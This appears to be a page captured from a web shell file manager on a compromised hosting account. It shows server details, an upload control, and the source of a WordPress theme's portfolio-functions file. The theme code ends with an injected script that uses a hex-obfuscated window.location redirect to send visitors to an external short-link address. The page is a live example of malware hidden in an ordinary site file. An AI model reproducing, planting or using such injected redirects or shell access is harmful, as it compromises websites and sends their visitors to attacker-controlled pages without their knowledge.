GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //proc/self/root/home/parhudrw/anqa.it/wp-content/themes/essentials/inc/portfolio-functions.php
<?php
/**
* Functions which enhance the theme by hooking into WordPress
*
* @package essentials
*/

if ( ! function_exists( 'essentials_get_portfolio_page' ) ) {
    function essentials_get_portfolio_page(){

        $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;

        $query_options = array(
            'posts_per_page' => 8,
            'post_type' => 'portfolio',
            'paged' => $paged
        );



        $count = '9';
        $line_count = '3';
        if(!empty(pix_get_option('portfolio-masonry-count'))){
            $line_count = pix_get_option('portfolio-masonry-count');
        }
        if(!empty(pix_get_option('portfolio-posts'))){
            $count = pix_get_option('portfolio-posts');
        }
        $portfolio_style = 'default';
        if(!empty(pix_get_option('portfolio-page-style'))){
            $portfolio_style = pix_get_option('portfolio-page-style');
        }
        $fullImgs = false;
        if(!empty(pix_get_option('portfolio-display-full'))){
            if(pix_get_option('portfolio-display-full')){
                $fullImgs = true;
            }
        }
        if(!empty($_GET["portfolio_style"])){
            switch ($_GET["portfolio_style"]) {
                case 'mini':
                    $portfolio_style = 'mini';
                    break;
                case 'transparent':
                    $portfolio_style = 'transparent';
                    break;
                case '3d':
                    $portfolio_style = '3d';
                    break;
                case 'default':
                    $portfolio_style = 'default';
                    break;
            }
        }
        if(!empty($_GET["line_count"])){
            switch ($_GET["line_count"]) {
                case '2':
                    $line_count = '6';
                    break;
                case '3':
                    $line_count = '4';
                    break;
                case '4':
                    $line_count = '3';
                    break;
                case '6':
                    $line_count = '2';
                    break;
            }
        }
        if(!empty($_GET["count"])){
            if(intval($_GET["count"])>0&&intval($_GET["count"])<20){
                $count = intval($_GET["count"]);
            }
        }
        if(function_exists('sc_pix_portfolio')){
            $args = array(
        			'portfolio_style'   => $portfolio_style,
        			'line_count' 		=> $line_count,
        			'count' 			=> $count,
        			'category' 			=> '',
        			'style'				=> 'one',
        			'category_multi'	=> '',
        			'orderby' 			=> 'date',
        			'order' 			=> 'DESC',
        			'filters' 			=> 0,
        			'pagination'		=> true,
        		);
            if($portfolio_style=='3d'){
                $args['title_color'] = 'white';
                $args['overlay_color'] = 'gradient-primary';
            }
            if(!empty(pix_get_option('portfolio-orderby'))){
                $args['orderby'] = pix_get_option('portfolio-orderby');
            }
            if(!empty(pix_get_option('portfolio-order'))){
                $args['order'] = pix_get_option('portfolio-order');
            }
            if(!empty(pix_get_option('portfolio-isotope'))){
                $args['filters'] = pix_get_option('portfolio-isotope');
            }
            if($fullImgs){
                $args['full_size_img'] = 'yes';
            }
            echo sc_pix_portfolio($args);
        }


    }
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>